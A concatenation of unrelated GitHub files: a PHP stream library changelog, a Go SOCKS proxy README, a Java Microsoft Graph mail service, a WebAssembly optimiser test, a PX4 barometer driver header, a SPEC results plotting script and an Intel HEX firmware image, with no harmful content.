## 0.7.3 (2017-08-05)
* Improvement: Support Événement 3.0 a long side 2.0 and 1.0
(#108 by @WyriHaximus)
* Readme: Corrected loop initialization in usage example
(#109 by @pulyavin)
* Travis: Lock linux distribution preventing future builds from breaking
(#110 by @clue)
## 0.7.2 (2017-06-15)
* Bug fix: WritableResourceStream: Close the underlying stream when closing the stream.
(#107 by @WyriHaximus)
## 0.7.1 (2017-05-20)
* Feature: Add optional `$writeChunkSize` parameter to limit maximum number of
bytes to write at once.
(#105 by @clue)
```php
$stream = new WritableResourceStream(STDOUT, $loop, null, 8192);
```
* Ignore HHVM test failures for now until Travis tests work again
(#106 by @clue)
## 0.7.0 (2017-05-04)
* Removed / BC break: Remove deprecated and unneeded functionality
(#45, #87, #90, #91 and #93 by @clue)
* Remove deprecated `Stream` class, use `DuplexResourceStream` instead
(#87 by @clue)
* Remove public `$buffer` property, use new constructor parameters instead
(#91 by @clue)
* Remove public `$stream` property from all resource streams
(#90 by @clue)
* Remove undocumented and now unused `ReadableStream` and `WritableStream`
(#93 by @clue)
* Remove `BufferedSink`
(#45 by @clue)
* Feature / BC break: Simplify `ThroughStream` by using data callback instead of
inheritance. It is now a direct implementation of `DuplexStreamInterface`.
(#88 and #89 by @clue)
```php
$through = new ThroughStream(function ($data) {
return json_encode($data) . PHP_EOL;
});
$through->on('data', $this->expectCallableOnceWith("[2, true]\n"));
$through->write(array(2, true));
```
* Feature / BC break: The `CompositeStream` starts closed if either side is
already closed and forwards pause to pipe source on first write attempt.
(#96 and #103 by @clue)
If either side of the composite stream closes, it will also close the other
side. We now also ensure that if either side is already closed during
instantiation, it will also close the other side.
* BC break: Mark all classes as `final` and
mark internal API as `private` to discourage inheritance
(#95 and #99 by @clue)
* Feature / BC break: Only emit `error` event for fatal errors
(#92 by @clue)
> The `error` event was previously also allowed to be emitted for non-fatal
errors, but our implementations actually only ever emitted this as a fatal
error and then closed the stream.
* Feature: Explicitly allow custom events and exclude any semantics
(#97 by @clue)
* Support legacy PHP 5.3 through PHP 7.1 and HHVM and improve usage documentation
(#100 and #102 by @clue)
* Actually require all dependencies so this is self-contained and improve
forward compatibility with EventLoop v1.0 and v0.5
(#94 and #98 by @clue)
## 0.6.0 (2017-03-26)
* Feature / Fix / BC break: Add `DuplexResourceStream` and deprecate `Stream`
(#85 by @clue)
```php
// old (does still work for BC reasons)
$stream = new Stream($connection, $loop);
// new
$stream = new DuplexResourceStream($connection, $loop);
```
Note that the `DuplexResourceStream` now rejects read-only or write-only
streams, so this may affect BC. If you want a read-only or write-only
resource, use `ReadableResourceStream` or `WritableResourceStream` instead of
`DuplexResourceStream`.
> BC note: This class was previously called `Stream`. The `Stream` class still
exists for BC reasons and will be removed in future versions of this package.
* Feature / BC break: Add `WritableResourceStream` (previously called `Buffer`)
(#84 by @clue)
```php
// old
$stream = new Buffer(STDOUT, $loop);
// new
$stream = new WritableResourceStream(STDOUT, $loop);
```
* Feature: Add `ReadableResourceStream`
(#83 by @clue)
```php
$stream = new ReadableResourceStream(STDIN, $loop);
```
* Fix / BC Break: Enforce using non-blocking I/O
(#47 by @clue)
> BC note: This is known to affect process pipes on Windows which do not
support non-blocking I/O and could thus block the whole EventLoop previously.
* Feature / Fix / BC break: Consistent semantics for
`DuplexStreamInterface::end()` to ensure it SHOULD also end readable side
(#86 by @clue)
* Fix: Do not use unbuffered reads on pipe streams for legacy PHP < 5.4
(#80 by @clue)
## 0.5.0 (2017-03-08)
* Feature / BC break: Consistent `end` event semantics (EOF)
(#70 by @clue)
The `end` event will now only be emitted for a *successful* end, not if the
stream closes due to an unrecoverable `error` event or if you call `close()`
explicitly.
If you want to detect when the stream closes (terminates), use the `close`
event instead.
* BC break: Remove custom (undocumented) `full-drain` event from `Buffer`
(#63 and #68 by @clue)
> The `full-drain` event was undocumented and mostly used internally.
Relying on this event has attracted some low-quality code in the past, so
we've removed this from the public API in order to work out a better
solution instead.
If you want to detect when the buffer finishes flushing data to the stream,
you may want to look into its `end()` method or the `close` event instead.
* Feature / BC break: Consistent event semantics and documentation,
explicitly state *when* events will be emitted and *which* arguments they
receive.
(#73 and #69 by @clue)
The documentation now explicitly defines each event and its arguments.
Custom events and event arguments are still supported.
Most notably, all defined events only receive inherently required event
arguments and no longer transmit the instance they are emitted on for
consistency and performance reasons.
```php
// old (inconsistent and not supported by all implementations)
$stream->on('data', function ($data, $stream) {
// process $data
});
// new (consistent throughout the whole ecosystem)
$stream->on('data', function ($data) use ($stream) {
// process $data
});
```
> This mostly adds documentation (and thus some stricter, consistent
definitions) for the existing behavior, it does NOT define any major
changes otherwise.
Most existing code should be compatible with these changes, unless
it relied on some undocumented/unintended semantics.
* Feature / BC break: Consistent method semantics and documentation
(#72 by @clue)
> This mostly adds documentation (and thus some stricter, consistent
definitions) for the existing behavior, it does NOT define any major
changes otherwise.
Most existing code should be compatible with these changes, unless
it relied on some undocumented/unintended semantics.
* Feature: Consistent `pipe()` semantics for closed and closing streams
(#71 from @clue)
The source stream will now always be paused via `pause()` when the
destination stream closes. Also, properly stop piping if the source
stream closes and remove all event forwarding.
* Improve test suite by adding PHPUnit to `require-dev` and improving coverage.
(#74 and #75 by @clue, #66 by @nawarian)
## 0.4.6 (2017-01-25)
* Feature: The `Buffer` can now be injected into the `Stream` (or be used standalone)
(#62 by @clue)
* Fix: Forward `close` event only once for `CompositeStream` and `ThroughStream`
(#60 by @clue)
* Fix: Consistent `close` event behavior for `Buffer`
(#61 by @clue)
## 0.4.5 (2016-11-13)
* Feature: Support setting read buffer size to `null` (infinite)
(#42 by @clue)
* Fix: Do not emit `full-drain` event if `Buffer` is closed during `drain` event
(#55 by @clue)
* Vastly improved performance by factor of 10x to 20x.
Raise default buffer sizes to 64 KiB and simplify and improve error handling
and unneeded function calls.
(#53, #55, #56 by @clue)
## 0.4.4 (2016-08-22)
* Bug fix: Emit `error` event and close `Stream` when accessing the underlying
stream resource fails with a permanent error.
(#52 and #40 by @clue, #25 by @lysenkobv)
* Bug fix: Do not emit empty `data` event if nothing has been read (stream reached EOF)
(#39 by @clue)
* Bug fix: Ignore empty writes to `Buffer`
(#51 by @clue)
* Add benchmarking script to measure throughput in CI
(#41 by @clue)
## 0.4.3 (2015-10-07)
* Bug fix: Read buffer to 0 fixes error with libevent and large quantity of I/O (@mbonneau)
* Bug fix: No double-write during drain call (@arnaud-lb)
* Bug fix: Support HHVM (@clue)
* Adjust compatibility to 5.3 (@clue)
## 0.4.2 (2014-09-09)
* Added DuplexStreamInterface
* Stream sets stream resources to non-blocking
* Fixed potential race condition in pipe
## 0.4.1 (2014-04-13)
* Bug fix: v0.3.4 changes merged for v0.4.1
## 0.3.4 (2014-03-30)
* Bug fix: [Stream] Fixed 100% CPU spike from non-empty write buffer on closed stream
## 0.4.0 (2014-02-02)
* BC break: Bump minimum PHP version to PHP 5.4, remove 5.3 specific hacks
* BC break: Update to Evenement 2.0
* Dependency: Autoloading and filesystem structure now PSR-4 instead of PSR-0
## 0.3.3 (2013-07-08)
* Bug fix: [Stream] Correctly detect closed connections
## 0.3.2 (2013-05-10)
* Bug fix: [Stream] Make sure CompositeStream is closed properly
## 0.3.1 (2013-04-21)
* Bug fix: [Stream] Allow any `ReadableStreamInterface` on `BufferedSink::createPromise()`
## 0.3.0 (2013-04-14)
* Feature: [Stream] Factory method for BufferedSink
## 0.2.6 (2012-12-26)
* Version bump
## 0.2.5 (2012-11-26)
* Feature: Make BufferedSink trigger progress events on the promise (@jsor)
## 0.2.4 (2012-11-18)
* Feature: Added ThroughStream, CompositeStream, ReadableStream and WritableStream
* Feature: Added BufferedSink
## 0.2.3 (2012-11-14)
* Version bump
## 0.2.2 (2012-10-28)
* Version bump
## 0.2.1 (2012-10-14)
* Bug fix: Check for EOF in `Buffer::write()`
## 0.2.0 (2012-09-10)
* Version bump
## 0.1.1 (2012-07-12)
* Bug fix: Testing and functional against PHP >= 5.3.3 and <= 5.3.8
## 0.1.0 (2012-07-11)
* First tagged release
|
{
"pile_set_name": "Github"
}
|
SOCKS
=====
[](https://godoc.org/h12.io/socks)
SOCKS is a SOCKS4, SOCKS4A and SOCKS5 proxy package for Go.
## Quick Start
### Get the package
go get -u "h12.io/socks"
### Import the package
import "h12.io/socks"
### Create a SOCKS proxy dialling function
dialSocksProxy := socks.Dial("socks5://127.0.0.1:1080?timeout=5s")
tr := &http.Transport{Dial: dialSocksProxy}
httpClient := &http.Client{Transport: tr}
### User/password authentication
dialSocksProxy := socks.Dial("socks5://user:password@127.0.0.1:1080?timeout=5s")
## Example
```go
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
"h12.io/socks"
)
func main() {
dialSocksProxy := socks.Dial("socks5://127.0.0.1:1080?timeout=5s")
tr := &http.Transport{Dial: dialSocksProxy}
httpClient := &http.Client{Transport: tr}
resp, err := httpClient.Get("http://www.google.com")
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
log.Fatal(resp.StatusCode)
}
buf, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println(string(buf))
}
```
|
{
"pile_set_name": "Github"
}
|
package devCamp.WebApp.services;
import org.codehaus.jettison.json.JSONArray;
import org.codehaus.jettison.json.JSONException;
import org.codehaus.jettison.json.JSONObject;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.security.oauth2.client.OAuth2ClientContext;
import org.springframework.security.oauth2.client.OAuth2RestOperations;
import org.springframework.security.oauth2.client.OAuth2RestTemplate;
import org.springframework.security.oauth2.client.resource.OAuth2ProtectedResourceDetails;
import org.springframework.security.oauth2.client.token.grant.code.AuthorizationCodeResourceDetails;
import org.springframework.security.oauth2.config.annotation.web.configuration.EnableOAuth2Client;
import org.springframework.stereotype.Service;
import devCamp.WebApp.models.UserProfileBean;
@EnableOAuth2Client
@Service
public class GraphServiceImpl implements GraphService{
private static final Logger LOG = LoggerFactory.getLogger(GraphServiceImpl.class);
@Autowired
private OAuth2RestOperations restTemplate;
@Value("${oauth2.resource.userInfoUri:https://graph.microsoft.com/v1.0/me}")
private String baseUrl;
public UserProfileBean getUserProfile() {
LOG.info("getting user profile");
UserProfileBean result = restTemplate.getForObject(baseUrl, UserProfileBean.class);
return result;
}
@Bean
public OAuth2RestOperations restTemplate(OAuth2ClientContext oauth2ClientContext) {
return new OAuth2RestTemplate(resource(), oauth2ClientContext);
}
@Bean
protected OAuth2ProtectedResourceDetails resource() {
AuthorizationCodeResourceDetails resource = new AuthorizationCodeResourceDetails();
resource.setClientId("my-trusted-client");
return resource ;
}
private static String emailContent1 = "<html><head><meta http-equiv='Content-Type' content='text/html; charset=us-ascii\'>"
+ "<title></title></head><body style=\"font-family:Calibri\">"
+ "<div style=\"width:50%;background-color:#CCC;padding:10px;margin:0 auto;text-align:center;\">"
+"<h1>City Power & Light</h1><h2>New Incident Reported by ";
private static String emailContent2 = "</h2><p>A new incident has been reported to the City Power & Light outage system.</p>"
+"<br /></div></body></html>";
@Value("${oauth2.resource.mailUri:https://graph.microsoft.com/v1.0/me/sendMail}")
private String mailUrl;
public void sendMail(String displayName,String emailAddr){
LOG.info("sending email");
String email = emailContent1 + displayName+ emailContent2;
JSONObject body = null;
try {
body = new JSONObject()
.put("ContentType", "HTML")
.put("Content", email);
JSONObject aa = new JSONObject()
.put("Address", emailAddr);
JSONObject ee = new JSONObject()
.put("EmailAddress", aa);
JSONArray recipients = new JSONArray()
.put(ee);
JSONObject jsonMessage = new JSONObject()
.put("Subject","New Incident Reported")
.put("Body",body)
.put("ToRecipients",recipients);
JSONObject json = new JSONObject()
.put("Message", jsonMessage)
.put("SaveToSentItems", true);
String jsons = json.toString();
HttpHeaders headers = new HttpHeaders();
headers.setContentType(MediaType.APPLICATION_JSON);
HttpEntity<String> entity = new HttpEntity<String>(jsons,headers);
String result = restTemplate.postForObject(mailUrl, entity, String.class);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
|
{
"pile_set_name": "Github"
}
|
---
file:
/etc/default/mailhog:
exists: true
filetype: file
owner: root
group: root
mode: "0644"
contains:
- 'DAEMON_ARGS="-smtp-bind-addr 1.2.3.4:2525"'
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: 1b94a1a0ae5d509488c6242454216bdb
timeCreated: 1455373897
licenseType: Store
MonoImporter:
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
import argparse
import os
from collections import defaultdict
import pandas
import matplotlib.pyplot as plt
def results_to_csv(inputs, out):
results = defaultdict(list)
keys = list()
for fname in inputs:
with open(fname) as fd:
data = fd.read()
data = data.split("\n")
start = False
key = os.path.basename(fname)
key = key.split(".")[0].replace("-", " ").title()
keys.append(key)
for line in data:
if not line:
continue
if start:
line = line.split()
if line[-1] != "NR":
benchmark = line[0].strip()
results[benchmark].append(float(line[2].strip()))
elif line.startswith("-----"):
start = True
csvl = list()
csvl.append(
"benchmark,{}".format(','.join(keys)))
csvl.extend(
["{},{}".format(
k, ','.join(map(lambda x: str(x), results[k]))) for k in sorted(results)])
csvf = out + ".csv"
with open(csvf, "w") as fd:
fd.write("\n".join(csvl))
def ascii_pp(csvf):
csvf = csvf + ".csv"
df = pandas.read_csv(csvf)
print(df)
def to_latex(outf):
csvf = outf + ".csv"
df = pandas.read_csv(csvf)
latexf = outf + ".tex"
with open(latexf, "w") as fd:
fd.write(df.to_latex())
def plot(outf):
csvf = outf + ".csv"
df = pandas.read_csv(csvf)
df = df.set_index("benchmark")
ax = df.plot.bar(rot=30, figsize=(12, 7))
ax.set_ylabel("Runtime (s)")
plot = outf + ".pdf"
fig = ax.get_figure()
fig.savefig(plot)
def plot_diff(outf):
csvf = outf + ".csv"
df = pandas.read_csv(csvf)
df = df.set_index("benchmark")
heads = list(df.columns.values)
sidx = heads.index("Source Asan")
bidx = heads.index("Binary Asan")
vidx = heads.index("Valgrind")
val = df.values
bin_vs_src = 100.0 * ((val[:, bidx] - val[:, sidx]) / val[:, sidx])
bin_vs_vgrind = 100.0 * ((val[:, bidx] - val[:, vidx]) / val[:, bidx])
print(val)
print(heads)
print(bin_vs_src)
print(bin_vs_vgrind)
if __name__ == "__main__":
argp = argparse.ArgumentParser()
argp.add_argument(
"out", type=str, help="Prefix name for outfile")
argp.add_argument(
"--inputs", nargs="+", help="SPEC result files to analyze")
argp.add_argument(
"--latex", action='store_true', help="Generate latex tables")
argp.add_argument(
"--plot", action='store_true', help="Generate plots")
argp.add_argument(
"--pp", action='store_true', help="Pretty print table")
args = argp.parse_args()
results_to_csv(args.inputs, args.out)
if args.latex:
to_latex(args.out)
if args.pp:
ascii_pp(args.out)
if args.plot:
plot(args.out)
plot_diff(args.out)
|
{
"pile_set_name": "Github"
}
|
(module
(memory 256 256)
(type $0 (func (param i32)))
(type $1 (func))
(type $2 (func (result i32)))
(func $b14 (type $2)
(drop
(if (result i32) ;; with shrinking, this can become a select
(i32.const 1)
(block $block1 (result i32)
(i32.const 12)
)
(block $block3 (result i32)
(i32.const 27)
)
)
)
(drop
(if (result i32)
(i32.const 1)
(i32.load (i32.const 10)) ;; load may have side effects, unless ignored
(i32.const 27)
)
)
(drop
(if (result i32)
(i32.const 1)
(i32.rem_s (i32.const 11) (i32.const 12)) ;; rem may have side effects, unless ignored
(i32.const 27)
)
)
(drop
(if (result i32)
(i32.const 1)
(i32.trunc_f64_u (f64.const 12.34)) ;; float to int may have side effects, unless ignored
(i32.const 27)
)
)
(i32.const 0)
)
(func $join-br_ifs
(block $out
(br_if $out (i32.const 1))
(br_if $out (i32.const 2))
(br_if $out (i32.const 3))
)
(block $out2
(block $out3
(br_if $out2 (i32.const 1))
(br_if $out3 (i32.const 2))
(br_if $out2 (i32.const 3))
)
(unreachable)
)
(block $out4
(block $out5
(br_if $out4 (i32.const 1))
(br_if $out5 (i32.const 2))
(br_if $out5 (i32.const 3))
)
(unreachable)
)
(block $out6
(block $out7
(br_if $out6 (i32.const 1))
(br_if $out6 (i32.const 2))
(br_if $out7 (i32.const 3))
)
(unreachable)
)
(block $out8
(br_if $out8 (call $b14)) ;; side effect
(br_if $out8 (i32.const 0))
)
(block $out8
(br_if $out8 (i32.const 1))
(br_if $out8 (call $b14)) ;; side effect
)
)
(func $join-and-it-becomes-unreachable
(block $label$1
(block
(br_if $label$1
(i32.load8_u
(i32.const -93487262)
)
)
(br_if $label$1
(loop $label$5 ;; this is unreachable (infinite loop, no exit)
(br $label$5)
)
)
)
)
)
(func $br-if-unreachable-pair
(block $label$14
(br_if $label$14
(unreachable)
)
(br_if $label$14
(i32.const 0)
)
)
)
(func $br-if-unreachable-pair2
(block $label$14
(br_if $label$14
(i32.const 0)
)
(br_if $label$14
(unreachable)
)
)
)
(func $simple-switch (result i32)
(block $A
(block $B
(block $y
(br_table $A $y $y $y $y $y $A $y $y $y $y $A $y
(i32.const 0)
)
(return (i32.const 0))
)
(return (i32.const 1))
)
(return (i32.const 2))
)
(return (i32.const 3))
)
(func $simple-switch-2 (result i32)
(block $A
(block $B
(block $y
(br_table $A $y $y $y $y $y $y $y $y $y $y $y $A $y
(i32.const 0)
)
(return (i32.const 0))
)
(return (i32.const 1))
)
(return (i32.const 2))
)
(return (i32.const 3))
)
(func $simple-switch-3 (result i32)
(block $A
(block $B
(block $y
(br_table $A $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $y $B $y
(i32.const 0)
)
(return (i32.const 0))
)
(return (i32.const 1))
)
(return (i32.const 2))
)
(return (i32.const 3))
)
(func $simple-switch-4 (result i32)
(block $A
(block $B
(block $y
(br_table $A $y $y $y $y $y $A $y $y $y $y $y $A $y
(i32.const 0)
)
(return (i32.const 0))
)
(return (i32.const 1))
)
(return (i32.const 2))
)
(return (i32.const 3))
)
)
|
{
"pile_set_name": "Github"
}
|
/****************************************************************************
*
* Copyright (c) 2018 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
#pragma once
#include <cstring>
#include <drivers/device/Device.hpp>
#include <lib/perf/perf_counter.h>
#include <px4_platform_common/i2c_spi_buses.h>
#include <px4_platform_common/px4_work_queue/ScheduledWorkItem.hpp>
#include <lib/drivers/barometer/PX4Barometer.hpp>
static constexpr uint8_t WHO_AM_I = 0x0F;
static constexpr uint8_t LPS22HB_ID_WHO_AM_I = 0xB1;
static constexpr uint8_t CTRL_REG1 = 0x10;
static constexpr uint8_t CTRL_REG2 = 0x11;
static constexpr uint8_t CTRL_REG3 = 0x12;
#define BOOT (1 << 7)
#define FIFO_EN (1 << 6)
#define STOP_ON_FTH (1 << 5)
#define IF_ADD_INC (1 << 4)
#define I2C_DIS (1 << 3)
#define SWRESET (1 << 2)
#define ONE_SHOT (1 << 0)
static constexpr uint8_t STATUS = 0x27;
#define T_OR (1 << 5) // Temperature data overrun.
#define P_OR (1 << 4) // Pressure data overrun.
#define T_DA (1 << 1) // Temperature data available.
#define P_DA (1 << 0) // Pressure data available.
static constexpr uint8_t PRESS_OUT_XL = 0x28;
static constexpr uint8_t PRESS_OUT_L = 0x29;
static constexpr uint8_t PRESS_OUT_H = 0x2A;
static constexpr uint8_t TEMP_OUT_L = 0x2B;
static constexpr uint8_t TEMP_OUT_H = 0x2C;
/* interface factories */
extern device::Device *LPS22HB_SPI_interface(int bus, uint32_t devid, int bus_frequency, spi_mode_e spi_mode);
extern device::Device *LPS22HB_I2C_interface(int bus, int bus_frequency);
class LPS22HB : public I2CSPIDriver<LPS22HB>
{
public:
LPS22HB(I2CSPIBusOption bus_option, int bus, device::Device *interface);
virtual ~LPS22HB();
static I2CSPIDriverBase *instantiate(const BusCLIArguments &cli, const BusInstanceIterator &iterator,
int runtime_instance);
static void print_usage();
int init();
void print_status();
void RunImpl();
private:
PX4Barometer _px4_baro;
device::Device *_interface;
bool _collect_phase{false};
perf_counter_t _sample_perf;
perf_counter_t _comms_errors;
/**
* Initialise the automatic measurement state machine and start it.
*
* @note This function is called at open and error time. It might make sense
* to make it more aggressive about resetting the bus in case of errors.
*/
void start();
/**
* Reset the device
*/
int reset();
/**
* Write a register.
*
* @param reg The register to write.
* @param val The value to write.
* @return OK on write success.
*/
int write_reg(uint8_t reg, uint8_t val);
/**
* Read a register.
*
* @param reg The register to read.
* @param val The value read.
* @return OK on read success.
*/
int read_reg(uint8_t reg, uint8_t &val);
/**
* Issue a measurement command.
*
* @return OK if the measurement command was successful.
*/
int measure();
/**
* Collect the result of the most recent measurement.
*/
int collect();
};
|
{
"pile_set_name": "Github"
}
|
:020000020000FC
:100000007BCEC0C10000000020C000008DC00000F9
:10001000000097C00000000000000000020304067A
:10002000080C10182030406080000406080C1018DE
:100030002030406080A0C0000003070F1F000D0D9E
:100040000403060D0503030202004FB662FD0CC057
:10005000552041F00994C52DC095089483FDC7959E
:10006000C4BD64604FBE1895C0916400089483FDC0
:10007000C795C4BD6B7FC0916400CF3F09F41DC01C
:1000800070FF19C082FD05C04FBE909A949A959A50
:100090001895909A949A959A76FD0DC064FD0BC0C0
:1000A000C9E0CA95F1F7C091B100C0FD919AC1FDB8
:1000B000939AC2FD979A4FBE189524BCCC27C06472
:1000C000C8BF6460F8CFC7CF70FFC5CF64FDC3CF92
:1000D0009098C1CF70FFBFCF64FDBDCF9498BBCFC8
:1000E00070FFB9CF64FDB7CF9598B5CF919870FFE9
:1000F000B2CF64FDB0CFC7E0CA95F1F79098ABCF0F
:10010000939870FFA8CF64FDA6CFC7E0CA95F1F71A
:100110009498A1CF979870FF9ECF64FD9CCFC7E0C5
:10012000CA95F1F7959897CF4FB6C9B7CF7EC9BF9B
:100130006E7FCCB5CE0DDDB5DF1DDBBDCABD4FBEBC
:1001400018953FB68F7EABB7A074A2118061A0E076
:10015000ABBFA9B7AE7FA9BF7894A0916800AA23CE
:1001600041F085FD2EC0A0916800AA95A09368007B
:1001700028C040E050E085FD14C0A0B396FFA095D4
:10018000A2FD4FEFA3E096FFA2E0A5BFAA27A064BF
:10019000AABF8D7FA0B396FFA095A2FD5FEF451784
:1001A00041F7A0E461FDA093680085FD03C0A0E4D1
:1001B000A0936800409396008160442311F0209240
:1001C000990085FD0EC0A0916900AA2331F0A0918D
:1001D0006900AA95A093690004C08061AA27A06461
:1001E000AABF80FF0AC0A09196004A2F61FF8E7FB0
:1001F00085FD01C000C0409361004091B4004430CF
:1002000009F004C0A0916100A0936300A091600078
:10021000A395A093600051F0F894A9B7A160A9BF7D
:1002200084FF02C0A0E4ABBF3FBE1895A09174004C
:10023000A395A093740042E050916800552329F0E3
:1002400085FF03C05A9550936800A0919600A13095
:1002500018F0209299000DC020929A002092A300DD
:10026000A0919900AF5FA093990018F0AFEFA09311
:100270009900B09061005091B400523049F465FF8C
:1002800091F0A2E3BA1678F0A0918600A0936100E5
:10029000533049F465FF39F0A2E3BA1620F0A0917B
:1002A000C000A0936100509162005B1521F010F036
:1002B0005A9501C05395509362004A95D1F65091DA
:1002C000A300539509F45A955093A300A091A4005C
:1002D000AA95A093A40009F04BC0A1E0A093A400AC
:1002E00048E0A091A500AA2381F145E0A091A500D6
:1002F0005A17F0F1A091A6005A1728F441E0A3E0A4
:10030000A093A40007C0A091A7005A1718F441E0D9
:100310004093A400D0909C00C0906300DC14A8F02F
:10032000A091B400A430D9F065FD0FC0C0929C002C
:10033000539521F0A091A500A093A300A1E0A09364
:10034000A400ACE3A093620013C0A0919C00A40F92
:1003500020F45FEF50939C0002C0A0939C00A091FA
:100360009C00AF3F29F4AFEFA0939A00A093A300A5
:10037000F894A9B7A160A9BF84FF02C0A0E4ABBFF5
:100380003FBE18953FB64CB55DB58F7EABB7A07438
:10039000A2118061A0E0ABBFA9B7AE7FA9BF7894DE
:1003A00081FD23C0A2E096FFA3E0A5BF8260A0B3B9
:1003B00096FFA095A2FF05C040936500509366008C
:1003C0001CC1A3E096FFA2E0A5BFAA27A064AABF14
:1003D0008D7F85FF01C004C140E0A0B396FFA095CA
